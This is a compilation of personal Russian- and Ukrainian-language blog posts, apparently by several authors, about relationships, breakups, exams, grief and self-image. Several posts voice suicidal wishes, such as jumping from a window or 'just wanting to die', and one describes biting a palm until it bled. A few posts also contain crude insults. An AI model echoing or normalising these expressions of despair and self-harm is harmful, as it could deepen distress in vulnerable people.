Ох уж этот 21 век.. век технологий.. Казалось бы жизнь упростить уже дальше некуда, однако люди не ищут легких путей. Как и ОН, который даже и не думал выйти со мной на контакт, пока не увидел в статусе, что я скучаю. И пошло поехало, две недели общения статусами, и никаких попыток сделать что-то большее. Какие же мужчины всё таки трусы! Хочешь написать, услышать, увидеть, просто берешь и делаешь, а не ищешь оправдания! И не боишься меня

Намеков было предостаточно.. Позвонил, больше месяца прошло с нашей последней встречи, и не заткнуть, как будто пытаемся компенсировать это время.. как будто и не было его.. Надолго ли? До очередных моих психов? Время покажет.. знаю только одно, больше его не впущу дальше порога моей души.

Не буду публиковать фотографию. Не хочу. Мой блог - имею право.

Итак.

15 фактов. Субъективно интересных.

(Как же это сложно-то)

  • Я не люблю клубнику. Как-то равнодушно к ней отношусь. Запах хороший и ассоциации, а саму клубнику не люблю.
  • Я славист. Я филолог. Я не люблю свою специальность, но что-то интересное в этом всем, определенно, есть. В том, что мы учим. Проблема в том, что нам это овольно часто подают не в ахти какой форме, а наша кафедра - это вообще веселейшая песня… но это интересно.
  • Как продолжение предыдущего - я люблю учиться и узнавать что-то новое (только бы не заставляли и не пытались проконтролировать, что именно я знаю). В связи с этим же - я люблю умничать и показывать, что я таки знаю, хвастаться тем, что знаю и что именно знаю - обычно, естественно, перед теми, что знает по теме немного или не знает вовсе ничего. Синдром отличницы прилагается.
  • Перфекционист и лентяй одновременно. Адское сочетание. Люблю, когда что-то сделано хорошо, но не умею сделать это вовремя. Получаю удовольствие, когда вижу результаты своей собственной проделанной работы - когда она сделана хорошо.
  • Впрочем, в процессе я получаю гораздо больше удовольствие, чем когда созерцаю уже готовый результат.
  • Забываю и путаю слова - в моей голове мешаются, на данный момент, три языка. Стараюсь не говорить на суржике и не смешивать ничего, не впихивать специфические слова, но иногда бывает, что забываю соответствия и долго думаю, а как же это будет по-русски/украински.
  • Я девушка. Человеческое существо женского пола. Воспринимаю себя девушкой, считаю себя девушкой. Но довольно часто говорю и пишу о себе в мужском роде. Мне так удобно. Экономия языковых средств. На самом деле, это связано с одним детским впечатлением - положительным, как ни странно - но это не то место, где я хотел бы рассказывать об этой истории, потому что она до сих пор меня смущает -__-
  • У меня очень переменчивое настроение. И беспорядочные эмоции. Довольно тяжело бывает переживать всё это, но я с этими состояниями живу уже много лет и в последнее время стала к ним более приспособленной.
  • Я плету фенечки. И вообще люблю рукодельничать. Но делаю это волнами - захотелось, поделал, желание пропало, отложил. Могу не закончить - и работа лежит полгода, год. Потом возвращаюсь к этому.
  • Работа, которая лежит полгода, год, больше, а потом возвращаюсь. Это же касаеся и идей - я пишу прозу в стол (ну, и фанфики немного и медленно, да). У меня много идей, и их количество постоянно растет. Иногда нет времени на воплощение, часто попросту лень. Но я к ним возвращаюсь, по крайней мере, к тем, которые глубже всего запали в душу.
  • Мне двадцать лет - и я тепличное растение и ребенок. Совершенно не приспособленное к жизни существо, а завтраки мне делает мама. Искренне верю, что однажды всё это изменится - по крайней мере, морально я уже начинаю подрастать. А то уже много лет чувствую себя на четырнадцать. Уверена, что если будет надо - смогу сама всё сделать. Просто сейчас в этом нет жизненной необходимости.
  • Влюбляюсь (или уже влюблена, не особо понимаю. может быть, влюбляюсь каждый день) в человека, который живет за чертову тысячу километров от меня. Уже больше двух недель - а все мои влюбленности, именно вот эти вот состояния, обычно проходили за две недели. А тут… Не знаю, что думать об этом. Определенно, взрослею.
  • Люблю читать, но делаю это довольно медленно, потому что волнами - могу чуть ли не один присест прочитать первые процентов восемьдесят книги за несколько дней, а потом месяцами дочитывать её.
  • Люблю котов, комнатные растения, чашки, шарфы (но не люблю носить их), свитера, красивые украшения (но не ношу ничего, кроме изредка фенечек), не люблю носить платья-юбки и каблуки. И не крашусь.
  • Мечтатель. Ну… мне так говорили =)
  • Такие дела.

    А еще забавно, что ты сбежала сюда от издевательств матери, а теперь борешься с желанием позвонить ей и поплакать в трубку. Я никогда не умела выбирать меньшее из двух зол. Конечно, если уж бежать, то от всех сразу.

    знаете, всё-таки ни одно расстояние не сможет уничтожить отношения, если вы действительно друг друга любите. изо дня в день я привыкаю к длинным разговорам по телефону, к передаче тепла и нежности через телефонную трубку, к тому, что нужно запоминать события всего дня, чтобы потом, вечером всё это рассказать ему. мне пришлось смириться с нехваткой времени, с его работой, а он терпит мои занятия, мои репетиции, мою усталось после всего этого.это огромный труд, уж поверьте. но никто не говорил, что будет легко. мне правда трудно каждый день слышать на другом конце провода, что он бы отдал всё, лишь бы быть сейчас рядом со мной и понимать, что я сделала бы также, но увы, не всегда всё так, как мы этого хотим. главное - мы знаем, что любим друг друга. у нас всё будет, Солнце.

    — Ты знаешь, что я чувствую, когда просыпаюсь утром? Ничего. Ни страсти, ни искры, ни веры, ни тепла. Абсолютно ничего.

    1. Я сожалею о том, что делила секреты с неправильными людьми.
    2. Я сожалею, что не сказала тебе о своей любви, когда у меня был шанс.
    3. Я сожалею, что злость и ревность часто захватывают мой разум, из-за чего я творю.
    4. Я сожалею, что принимаю все близко к сердцу и порой раздуваю из мухи слона.
    5. Я сожалею о том, что я постоянно не в духе и грущу, я не могу с этим ничего поделать.
    — пять вещей, о которых я сожалею.

    И самое ужасное в этой истории, что ты сейчас лежишь с в очередной раз рухнувшим миром у себя в голове, размазываешь сопли-слезы по лицу и окончательно убеждаешься, что как угодно, но вот так больше нельзя. А завтра ты снова вернешься к прежнему существованию. И так до очередного срыва, по кругу. Не удивительно, что к двадцати годам ты посадила сердце, нервы и.. весь организм к чертям. Ну разве тебе есть, что терять, дура? Ну разве будет еще хуже?

    — Джон, я написал валентинку, чтобы подшутить над Фанни. Она превращает флирт в культ. Джон, сейчас она изучает поэзию, а завтра что, станет военным экспертом? Это игра! Игра для неё! Она собирает поклоников.

    — Сердечные чувства - это святое. Разве не знаешь?

    Яркая звезда (2009).

    Сама идея о том что Бог миров наслаждается видом обрезанных хуев, и ему, Богу миров, противны, неприятны хуи необрезанные, вызвала у меня шок.

    ____

    Есть люди, которые считают, что достигнуть Божественности – это значит раствориться в каком-то безликом Абсолюте. Мы отрицаем такой подход. Достижение Божественности – это не растворение, а обретение себя в полноте. Мы говорим это так – вот пузырек с плотно закрытой крышкой. В пузырьке находится воздух. (Это то, как себя воспринимает обычный человек). Если мы возьмем и откроем крышку пузырька, то воздух из пузырька соединится со всем воздухом на планете Земля. То есть, достижение Божественности является не растворением тебя в неком Абсолюте, не является неким духовным самоубийством. Все наоборот – ты врубаешься, что ты гораздо больше, чем сам раньше себя представлял. И ты по-прежнему остаешься человеком и зверем, однако также ты еще и становишься всем остальным. И это и есть обретение Божественности.

    Так. Пора брать себя в руки и научиться конролировать свою злобу. Я стала слишком агрессивной. Я ору на него по поводу и без, а потом жалею. Он достоин большего, и зря я на него ругаюсь. Нужно убирать свою злобу и разражительность в жопу, и начинать дарить любовь, ласку и заботу, тогда и у меня всё наладится. Аминь.

    Мене вражає тупість деяких жирних дебілок, це головне враження вечора.

    Хочу нову помаду, босоніжки, нову сусідку в кімнату, літній халат.

    Не хочу вчитися.

    Хочу додому, як завжди.

    Почалося літо 16, а я думками влітку 11, дощ, я, ти, Костя. Ми розмовляемо віршами, ти цитуєш Блока, Костя - Андрія Білого. Я граю роль Прекрасной Дамы. Молоді і щасливі. Ти біжиш вперед, я за тобою, постійно обертаюся на Костю, він відстає, така звична картина, 5 років мого життя.

    Автобусна зупинка, Критий ринок. Ми зовсім мокрі від дощу. Костя раптом подивився на мене і раптом каже:

    — Царівна…

    Ми розсміялися, ти тепер теж станеш так мене називати,

    — Дорогу Царевне, дорогу! - кричиш перехожим. Я краснію.

    Костя подивився на нас надто серйозно, я тоді не звертала на це уваги.

    Євгене, коханий мій, с ДНЕМ НАРОДЖЕННЯ, 27 років, дорослий чоловік.

    Мій чоловік назавжди. Смерть - це не кінець. Я знайду тебе і у потойбічному світі.

    Мы достаемся друг другу немножко поломанными,

    немножкo потерявшими себя, влюбившимися в молчание.

    Стоит быть терпеливее друг к другу, пoтому что лучше мы уже не станем.

    Не люблю, когда вырванную из контекста какого-либо произведения фразу приписывают его автору. Если писатель вложил что-то в уста одного из своих героев, разве это означает, что это его собственное мнение по этому вопросу?

    Мы слишком часто "тратим" себя на мелкие переживания и не задумываемся о самом главном: пoка мы живы и здоровы, у нас всегда есть возможность что-тo изменить.

    Вот только-только слезла с таблеток, и теперь снова сижу мокрая, с красной мордой, разгрызанной в кровь ладонью, трясусь и горячо желаю сигануть в окошко. / А еще с утра жизнь казалась сказкой. Защитила курсач по Нему на 5, отменили пересдачу, к которой я была не готова, птички пели, солнышко светило… / Я почти уверена, что эти люди мне не родные.

    Я очень быстро успокаиваюсь и засыпаю, если мне гладить ладонь. И вот вчера лежала, уставшая. Сон не шел. И плакала, потому что некому погладить ручку.

    Я всегда была за то, чтоб жить своей жизнью и не лезть в чужие и вот сейчас надеюсь где-то очень в глубине души, что меня есть хоть какое-то дело. Я очень хочу не надеяться, правда, вот пишу сейчас, а у меня щеки горят. Для меня сделать какой-то шаг в этом направлении всегда было неприподъемной ношей. Тут же можно тешить себя, что все равно это будет очень даже неправильно. Ну, для меня. Ибо понятие правильности у каждого свое и очень размыто. Так что хоть и расту, мои тараканы всегда со мной. Потому что главное, что я ценю в жизни - это стабильность. ХD

    Я прямо уже в предвкушении, насколько феерическим пиздецом окажется следующий вариант.

    Поэтому нужно заткнуться, не заострять внимание и идти спать.

    Знаешь, я не сказала тебе самого главного. Я просто не успела. Ты ушел.

    Знаешь, я ненавижу твоего хитрого друга, который угробил твою жизнь и теперь ходит свободным и здоровым.

    Знаешь, я смотрю на фото твоих друзей без тебя и меня прошибает пот. Так не хватает твоего лица.
    Знаешь, ты мне сегодня снился. Сказал, что в этой жизни ничего не делается просто так, и что ты уступил место более хорошему человеку.
    Знаешь, я кричала тебе, что так быть не должно, я пыталась доказать обратное.
    Знаешь, я о многом жалею.

    Мне больно смотреть на твои фото. Мне больно вспоминать как ты мучался.

    Мне стыдно, что так и не пришла с тобой попрощаться. Что так и не проводила тебя в последний путь.

    Я верю, что на небесах тебе хорошо.
    Я верю, что однажды ты вернешься на эту грешную землю и все сделаешь правильно.
    Знаешь, у меня нет слёз, но моё сердце рвется на части, когда я думаю о тебе.
    И так жаль, что ты не сможешь прочесть этого.

    Скоро ти прокинешся
    І нам обом стане незручно,
    Але зараз немає нічого важливішого
    За ритм твого дихання,
    За твою спину вигнутою ложечкою
    І за твоє волосся,
    Яке лоскоче моє підборіддя.

    Спи, спи, засинай, я, здається, закохуюся..

    Мне впервые так подробно описали как мне изменили) и впервые в этом признались. Спасибо. На самом деле это даже плюс ему, что он сознался

    Знаете, мне очень нравится стиль Кристен Стюарт. Такой гранжовый, рок-н-рольный. Даже в розовом она смотрится очень круто и бунтарски. Хочу быть похожей на нее.

    И в принципе я считаю ее хорошей актрисой. У нее свой стиль игры. Ее роли - оторванные от реальности, спокойные, но при этом бунтующие персонажи. Настоящий рок-н-рол. Жаль, что многие этого не понимают и считают ее безэмоциональность минусом. Не знаю, как это объяснить, но у нее есть какая-то внутренняя эмоциональность. Она может передать состояние персонажа, не меняя при этом выражения лица. По-моему, это большой талант, который многим актерам не подвластен.

    Иногда кажется, что я живу какой-то придуманной жизнью, постоянно чем-то грезя, часто до нелепости несбыточном. В каком-то таком себе коконе, что все побоку. Но как бы ты себя не грузил, ты все равно остаешься на едине с собой и только с собой тебе и правда нужно быть предельно честным и откровенным. Я же часто тешу себя иллюзиями, когда нужно с трезвой головой подойти к ситуации. Пусть я тольк о не влюбилась, ну пусть меня отпустит, ну нахрена это все?! Это ни капельки не трогательно и мило. Ну правда, просто сердце в пятки уходит. Не знаю, чертовщина какая-то. Хожу и повторяю "Держи себя в руках". Или это так, на чуть-чуть и меня легко отпустит и я как всегда над собой еще и потешаться буду. Оттака ху*ня, малята. Так оно не отпускает, оно просто прогерссирует. Мозг, пожалуйста, подумай о чем-то насущном! Вернитесь, логика и здравый смысл, я все вам прощу!

    Причем вот знаете, с каждым разом все абсурднее варианты и абсурднее. Ну да нескучно жить не запретишь.

    Спасибо, что хоть ничего не снится, а то потом еще все это анализируя ходишь весь день как пришибленный.

    А так это довольно забавно. Ходишь такой весь одухотворенный, на всякие подвиги тянет. Заставляет задуматься, что все таки ты когда-то свернула не туда. Дела всякие делаются с большим энтузазмом. А что еще остается? Только извлекать выгоду.

    Это все не сдвигается никогда с мертвой точки потому, что трусиха. Ну, по крайней мере, в этом вопросе. Жду у моря погоды. Наивная чукотская жительница.

    А в трусости мы себе не признаемся и назовем это состояние - "дама в беде", как будто это не истерика была и колени тряслись, а так, кокетство.

    Я готова об этом трындеть не переставая. А трындеть можно только про себя и тут. Ибо как-то мне стремно. И, блин, не расскажешь никому. І смішно, і грішно.

    Все, дорогие ребятушки, приятных снов, продуктивных выходных! х

    Нытья пост.
    Никогда не думала, что мне может настолько понравиться человек, что я смогу почти перестать есть и буду вечно искать встречи.
    Каждый раз, когда иду в универ, ищу его в толпе студентов. Порой, удаётся…
    С ним я могу поспорить на что угодно и мне не будет стыдно.
    Он напоминает мне моего отца: также злостно шутит и говорит то, что думает.
    Я не могу на него обижаться, потому что не за что.
    Вчера просто сидели и 2 часа обсуждали какую-то ерунду.
    Он очень, ОЧЕНЬ "ВЕЗУЧИЙ". Вчера пошли за шавермой, а закончилось всё допросом полицейского. Ну, в конце концов, с ним не скучно (до сих пор вспоминаю ночной потоп в ночь на 23 февраля).
    Его глаза притягивают и ничего не поделаешь.
    Я знаю, что ничего не будет, просто потому, что это я, а это он.
    Мне просто достаточно знать, что у него всё хорошо. Просто достаточно знать.

    “do you have a boyfriend yet?”

    “when are you gonna get a job?”

    “what are you gonna do with your life?”

    настолько офигенная и правдивая штука, что решила утащить к себе xD (х)

    побыла счастливой и хватит.два часа это даже с избытком… возвращаемся в реальность. где его нет.он ведь снова пропадет. знаю и готовлюсь.

    День 19 - Что можно найти в вашей сумочке

    Ключи. Много ключей (от дома, с работы, от бабушкиной квартиры)

    Огромный кошелек (господи, зачем я купила такой большой, но дико красивый!)

    Крем для рук, антисептик, летом пластырь, половина моей коллекции (а частенько и вся) бальзамов для губ бэйби липс. Всё остальное прибывающе и убывающее.

    В душе полная неразбериха. Вывела такую удручающую закономерность: чем больше человек отдаляется, тем сильнее меня к нему тянет.

    Быть может я просто к нему привыкла.

    Делаю первые шаги снова и снова, что совсем противоречит моей натуре. Не хочу его отпускать. Хотя знаю, что должна.

    Мне спокойно когда между нами все хорошо. Хотя для каждого из нас свое понятие хорошего. Я так и не переступила с ним черту. Да, этот рассказ все еще о хорошем парне. Как много раз я писала здесь о конце истории с ним? И так отчаянно в него верила.

    Но конец любых взаимоотношений наступает незаметно, без громких слов. Все меньше общих тем для разговора, меньше общих шуток, неловкое молчание - и он, словно невидимый едкий дым, окутывает с ног до головы. И ничего не вернуть.

    Порой мне кажется, что мои чувства к нему - большой мыльный пузырь, который в любой момент с легкостью может лопнуть. Я не влюблена, я не хочу быть с ним, это что-то другое. И нужен мне на самом деле совсем не он. Но не могу отпустить, не хочу.

    А огонь в его душе почти потух. Значит конец совсем близок.

    Он каждый раз старается меня вывести из себя, а потом я оказываюсь истеричкой. Не могу. Уже половину чувств вытоптал. Кажется я уже это писала…..

    Знаете, что меня бесит? Платья цвета морской волны на выпускном. С годами я могу забыть, как он прошел, могу забыть имена своих одноклассников, могу не вспомнить даже, где именно мы отмечали. Но я никогда не забуду эти долбанные платья. К слову, вот фото с моего выпуска (найди меня, лол).

    Каждый год одно и то же платье в паре с другим одним и тем же мелькает на каждом выпускном. Как же они меня бесят. Это уже стало таким дурным тоном, что я смотреть на них не могу. И скоро снова выпускной. И снова будет парад бирюзовых платьев в пол. Весь город будет усеян ими, блять. Ох, держите мои глаза.

    завтра экзамен, а я

    • лежала весь день
    • пробыла в душе больше часа
    • сходила в фасфудницу
    • долго делала себе афро-локоны
    • снова жрала
    • НЕ ГОТОВЛЮСЬ
    • и снова
    • и даже сейчас я ем.
    • НЕ ГОТОВЛЮСЬ
    • ночью поеду на вокзал провожать друга в армию
    • НЕ ГОТОВЛЮСЬ
    • буду плакать
    • НЕ ГОТОВЛЮСЬ

    Когда у тебя появляется проблема достаточно глобального масштаба, лично для тебя, то все остальные маленькие проблемки отступают на второй план. И ты начинаешь задумываться о том, как могло бы быть, что стоило делать, а чего нужно было избегать. И это чувство начинает грызть тебя изнутри, потому что понимаешь, что если все-таки случится самое страшное, то это разрушит твою жизнь и все планы на будущее.

    У меня сейчас такое настроение, когда хочется сходить в хобби-гипермаркет, купить холст, масляные краски, вернуться домой, взять кисть в руки и начать рисовать. Пусть я не умею рисовать. Это не должно меня останавливать, ибо всё то, что идёт от сердца — прекрасно.
    И так не только с изобразительным искусством.

    Лучшая подруга говорит, что ей нужны одинокие подружки, чтоб с ней кто-то мог познакомиться. Получается, как бы со мной проводить выходные ей смысла нет.

    Для большинства людей проблема любви состоит в том, чтобы быть любимым, а не в том, чтоб любить, уметь любить. Значит, сущность проблемы для них в том, чтобы их любили, чтобы они возбуждали чувство любви к себе. К достижению этой цели они идут несколькими путями. Первый, которым обычно пользуются мужчины, заключается в том, чтобы стать удачливым, стать сильным и богатым настолько, насколько позволяет социальная ситуация. Другой путь, используемый обычно женщинами, состоит в том, чтобы сделать себя привлекательной, тщательно следя за своим телом, одеждой и т. д. Иные пути обретения собственной привлекательности, используемые и мужчинами, и женщинами, состоят в том, чтобы выработать хорошие манеры, умение вести интересную беседу, готовность прийти на помощь, скромность, непритязательность. Многие пути обретения способности возбуждать любовь к себе являются теми же самыми путями, которые используются для достижения удачливости, для обретения полезных друзей и влиятельных связей. Очевидно, что для большинства людей нашей культуры умение возбуждать любовь это, в сущности, соединение симпатичности и сексуальной привлекательности.

    Обожаю, когда бабы, которые не работают, а ходят пять раз в неделю в зал, собираются и начинают осуждать жирных баб за то, что они ЛЕНИВЫЕ.

    Логика парней:
    — Я люблю тебя
    — Общаюсь с другими девушками
    — Замотался, забыл тебе позвонить
    — Доверяй мне
    — Я скучаю, но приехать не могу

    я типично по-овенски временами импульсивна, посему пришла к выводу, что если меня когда-нибудь и угораздит выйти замуж, то это будет что-то из серии "а, давай прям щас, слабо? "

    и вообще, мне нужно как можно больше людей из серии "а, давай прям щас", мне не с кем воплощать безумства, временами возникающие у меня в голове.

    И раз у меня есть практически свободный час времени, поделюсь с вами двумя снимками, сделанными совсем накануне лета - 31 мая 2016.

    Сдала я китайский свой. Сдала на 7. И будь прокляты те мои обещания быть "самой-самой счастливой", если сдам на эту оценку. Несправедливо очень поступили по отношению ко мне и из-за этого страдает моя совестливая душа. Но будь как будет.

    Сегодня иду отдыхать вместе с К. И есть небольшой момент, заключающийся в том, что иду через час в свою общажку любимую. Минутка дежавю, не находите?

    И тут еще такое интересное: со мной, оказывается!, упорно хочет познакомиться Катин одногруппник, так беспристрастно лайкающий все мои фото. Оказывается!, про меня все уши уже прожужжали. Но моя милая сразу его огорошила тем, что не отдаст "этого славного ребенка" в его руки. Я посмеялась. Забавно ведь?..

    Пришло осознание того, что я что-то упускаю в своей жизни. А именно, свою жизнь. Время идет, проходит мимо меня, а жизнь, она ускользает.

    Казалось, ты молод, у тебя вся жизнь впереди. Но я ее не чувствую, не наслаждаюсь ее. Все рационально, никаких необдуманных поступков, все идет по моему плану, но чего-то не хватате. Нет эмоций, нет интересных истории, минуты которых заставляли бы мое сердце биться сильнее.

    Вместо этого я испытываю чувство пустоты. Чего-то не хватает, возможно, последней, самой высокой ноты.

    Они скандалили, будто не знали, что злые слова нельзя взять назад и забыть. Не знали, что люди ругаются на полную, а мирятся наполовину, и так каждый раз от любви отрезается, и её становится всё меньше и меньше. Или знали, но не могли ничего поделать.

    Михаил Шишкин

    Я очень впечатлительная натура. Замечал кто-нибудь за собой такое? Девочки, напишите пожалуйста, если да.

    Я не могу отличить свои истинные чувства от навязанных мне очередной серией сериала или книгой. Как назло все время смотрю и читаю только про убийц или самоубийц или про психопатов. Потому что не вижу смысла в комедиях, они не способствуют критическому мышлению. В итоге такой перегруз, что я не могу отличить свои мысли и взгляды на жизнь от мыслей героев. Я просто не знаю где я . Смотрел кто-нибудь "Не отпускай меня"? Там подростки не знали ничего о нормальном мире людей, т.к. выросли в специальном приюте, их поведение с начала было самым естественным, а потом они быстренько нахватались из телика наших клише. У меня такое чувство, что я тоже просто копирую поведение и даже чувства героев книг и фильмов, родителей, других людей. Иногда я на мнгновение ловлю себя, что мне на самом деле не жаль или не радостно. Мне на самом деле все равно. И меня это пугает.

    Ну что? По мне плачет психиатр или это норма?

    В жизни не был тем, кто бросает бороться за свое. Но все меняется.

    Ты являешься самым огромным разочарованием в моей жизни.
    Эти три года были самыми счастливыми в моей жизни. Я всегда чувствовал что нужен, любим и мне всегда рады. И я всегда пытался быть для тебя самым лучшим и единственным. Нет женщин, кроме тебя, что смогли бы залезть мне в сердце, голову и душу настолько силно как ты. Не те, что были перед, не те, что были после.

    И ты явно не можешь себе представить насколько я шокирован тем, что все это время был один из "остальных", что ты меня не любила даже. Не понимаю зачем нужно было дарить всю эту ласку, нежность и заботу, просить ее в ответ, что бы так просто все закончить.

    Ты хотела знать почему я такой разбитый? Потому что последние пару месяцев я нигде не чувствую себя своим. Ни дома, ни у родителей, ни с друзьями, ни с теми, кем пытаюсь тебя заменить. Я думал что хотя бы с тобой я смогу быть хотя бы малость таким, как был прежде. Но после сегодняшнего разговора я понял что и с тобой мы не такие уж и "свои", что я просто твоя попытка найти во мне Сашу, которого ты любила.

    Может это есть "точкой отправки" в новую жизнь. Я уеду, может быть все выйдет в Польше и со времнем жизнь наладится, но если честно, единственное чего я хочу - просто сдохнуть. Не верится что что то может быть дальше радостное.

    Не без моей помощи, но всеже ты сделала меня самым счастливым человеком на этой планете, а потом одним из самых несчастных. Так надо уметь.

    Для меня ты самая чудесная девушка. С тобой не смогли сравниться не самые жопастые, не самые милашные девушки с которыми я общался. Для меня ты навсегда будешь той Дашей, с которой сравнивают всех последующих. Что то вроде Саши, с которым сравнивала ты.

    Не смог бы тебе это сказать в лицо, поэтому написал сюда. Извини.

    Меня поражает один факт во мне.

    У меня есть щеки. Они с детства у меня были.

    Но при этом у меня есть скулы! Отчетливая серо-коричневая линия, которая придает лицу более симпатичный вид. И я ее даже не рисую.

    Все замечают эту "линию" и говорят "вау, как красиво".

    Скулы и щеки - это как инь и янь.

    Фото прилагается.

    Привет-привет. Знаете что? Я начала писать этот пост английскими буквами. Хорошо, что вовремя заметила. Но это не главное. Главное то, что я сама наконец-то избавила свой ноутбук от неубиваемого китайского вируса. Знаете, что самое смешное? Я просила своего друга помочь мне с этим три месяца назад, и у него каждый день находилась новая омазка. Теперь я еще больше уверена, что правильно сделала, перестав с ним общаться.
    Но суть поста не совсем в этом. Устранив вирус, я убрала и преграду для запуска The Sims , чему безумно рада. И в связи с этим, потратила пол дня на восстановление своей группы в вк на сим тематику. С одним аватаром мороки - то было. Завтра, думаю, удастся потратить еще часик на создание чего-то нового. Ну не играется мне просто так. Каюсь. А теперь понадеемся, что моя лень не распространится на группу, и та не скиснет на первой же неделе. Это ведь я. Так себе отмазка, если честно.

    Привет все! Ночь была веселой, приходили друзья и самый лучший друг, с которым у нас особенная любовь. Утром их проводила на работу и легла спать, и проспала весь день. день прошёл очень быстро. Скучаю уже по ним, поняла, что одном мне скучно жить, домашнее животное или найти своего мужчину! Мама меня по этому поводу сегодня стебанула, Сказала " не ной, найди нормального мужика и живипрепеваючи" класс, весь мир против меня. Ладно, всем пока я спать. доброй ночи

    Если кто-то это прочтет - простите пожалуйста, за такой несвязный между своими частями текст. Просто за последние пару дней произошло слишком много событий, что я на таком пике, что я даже не знаю что сказать человеку, когда пытаюсь выговориться. А писать - это мы всегда пожалуйста, написать куда проще.

    Прежде чем читать этот пост прочтите миниатюру Екатерины Безымянной (да-да, я читаю блоги и таких людей) с названием "Консервы"

    Так вот. В моей жизни тоже были такие люди-консервы. И я знаю, в чьей жизни консерва - я.

    Но после определенных моментов я поняла, что еще есть люди-бумеранги. Или случаи бумеранги. Кто-то это называет кармой, кто-то судьбой, а кто-то просто верит, что нам все возвращается.

    Около месяца назад я рассталась с одним человеком, сказав ему, что дело совсем не в нем. Что проблема во мне и в моем внутреннем мире. Что ему не надо меняться. Что он прекрасный собой и вообще просто хороший как человек. Просто не мое. Бывает такое, знаете?

    Судьба послала мне человека. Хорошего. С небольшими странностями (для меня это странно, для него - нет. Все мы в чем-то для кого-то странные, не так ли?). Мы с ним довольно недолго пообщались, после чего он очень скоро пригласил меня встретиться. Мы встретились. Мы разговаривали не о детских глупостях, да и шуток у нас было не очень много. Но мне это понравилось. Мы поговорили о жизни, о том что было и есть, о том, чего хотим добиться. Поделились общими планами и целями.Все, казалось бы, шло хорошо, но…

    В конце вечера, когда уже подходило время к моему возвращению домой, он предлагает обогнать последний автобус, идущий до моего забытого богом места поселка. Я, не понимая о чем речь и на что намек, соглашаюсь. А потом он заводит разговор о том, о чем мне говорят ВСЕ постянно, когда прощаются со мной. И то, что я сказала бывшему, когда мы расставались.
    " Ты хорошая. Правда. Это был прекрасный вечер, мне все очень понравилось. Ты очень душевная и ранимая. Тебе не нужно меняться никогда. Дело во мне. Просто я прямой и скажу прямо и сразу: Ты не мой человек."

    И вот знаете. Я в этот момент словно отрезвела. На секунду мое сердце провалилось в пятки. До меня дошло, что примерно те же фразы я говорила всего месяц назад другому человеку. И было приятно, что человек был достаточно прямой и сказал это сразу, а не спустя 10 свиданий "Спасибо, ваш звонок был очень важен для нас, но вы нам никто", когда он в твоей голове тебе уже "ого-го как кто!!!". И одновременно обидно. Ведь мне вернулось. Ведь это судьба. Ведь карма. Но я это называю просто - человек-бумеранг.

    Случай 2. Связан он уже далеко не с личной жизнью, а с учебой.

    Была у меня пара. Должна я была поставить зачет по латинскому, а потом по английскому.
    Староста нашей группы предложила поставить всем зачет по латыни, сдав ей зачетки. Мы (несколько человек) сделали это до нее, подойдя самостоятельно к преподу.
    И только к паре по английскому, я обнаружила, что я забыла учебник. Без сдачи учебника мне не поставили зачет. Препод просто встала в позу.
    Случай. Судьба. Карма. Бумеранг.

    Был еще и третий случай, он куда более интересный, косвенно связанный с личной жизнью, но он очень личный и его я упоминать здесь не хочу. Просто он был.

    То, что это произошло за короткий промежуток времени, заставило меня проанализировать и понять, что есть что-то такое.

    Люди-бумеранги. Или карма-бумеранг. Что-то, что тебе вернется. Отплатится. Спустя час, месяц, год. Но ты все равно будешь наказан за свои слова/действия/бездействие.

    Притом, наказан-то не жестоко, а просто в той же мере. Но это так обидно, оказывается, получать в обратную то, что ты сделал. Как бы меня ни грызла совесть, как бы я себя не корила иногда за то, что мне приходится делать или говорить, мне все равно это возвращается.

    Просто иногда надо выговориться. Просто иногда не можешь подобрать нужных слов, а эмоций настолько много, что получается все расписать только здесь.

    Просто маленький сумбур.

    получила сегодня зачёт по информационным технология. ура.
    узнала, что нет "автомата" по бжд, не хватает 2,5 баллов.
    скоро начнётся практика. буду штукатуром-маляром 4 разряда.
    надо найти работу на лето.
    решила учить всё, что необходимо, чтобы была тройка за экзамен по молекулярной физике.
    в поисках нормального пенала.
    в понедельник защита реферата по экологии.
    нужно написать статью для штаба.

    и это только половина дел, которые мне нужно сделать. куда мне столько?!

    За морями-океанами живет мой дражайший American friend. И если уж быть предельно честной, то friend c претензией на большее. Но и не было ничего, кроме пьяных поцелуев, да задушевных разговоров в 5 утра. Да и не вышло бы, и слава богу.

    Сейчас он живет со своей девушкой, (не женаты, ибо для них это very big deal) и их общим ребенком. В сентябре ждут еще одного. И я почему то сейчас себя так тупо чувствую. Не потому что мне 24 и все вокруг мне пророчат рожать и т.д, а потому что как-то все быстро. Просто с ума сойти можно! Буквально совсем недавно мы пили, сидя на крыше и болтали обо всем на свете, а теперь кто-то читает сказки перед сном, делает куличики в песочнице, а на всевозможные праздники получает футболку BEST DADDY EVER.

    Да что уж скрывать, я скучаю безумно. Потому что ОН действительно лучший друг и невероятной доброты и интеллекта человек! И это так несправедливо - не знать, встретитесь ли вы еще когда-нибудь.

    P.S А на прощание он подарил диск своей любимой группы. Я по приезду домой заслушала его до дыр за несколько дней. И до сих пор, когда прослушиваю некоторые песни, глаза автоматически мокреют. Самый личный и интимный подарок.

    "В общем Я сильная. Я справлюсь со всем этим дерьмом. Застрелиться все равно не из чего." via blurrybitch-ugh

    Нет желания что-либо делать, отвечать каким-то людям на сообщения и проч.
    Впервые за месяц с головой зарылась в книгу.
    Но проблема в том, что спустя одну страницу я задумываюсь "Черт, что я только что прочла? "
    Мысли о другом совсем.
    Блять. Хоть бы не снова. И так помню, как это закончилось все в прошлый раз. Вначале пишу, что сильная девочка, а потом на один день все ломается.
    Иногда замечаю, что накручиваю себя по привычке. Не потому, что реально чувствую что-то, переживаю, а потому что раньше так делала, а сейчас как традиция осталась.
    Какая-то бредовая цикличность.

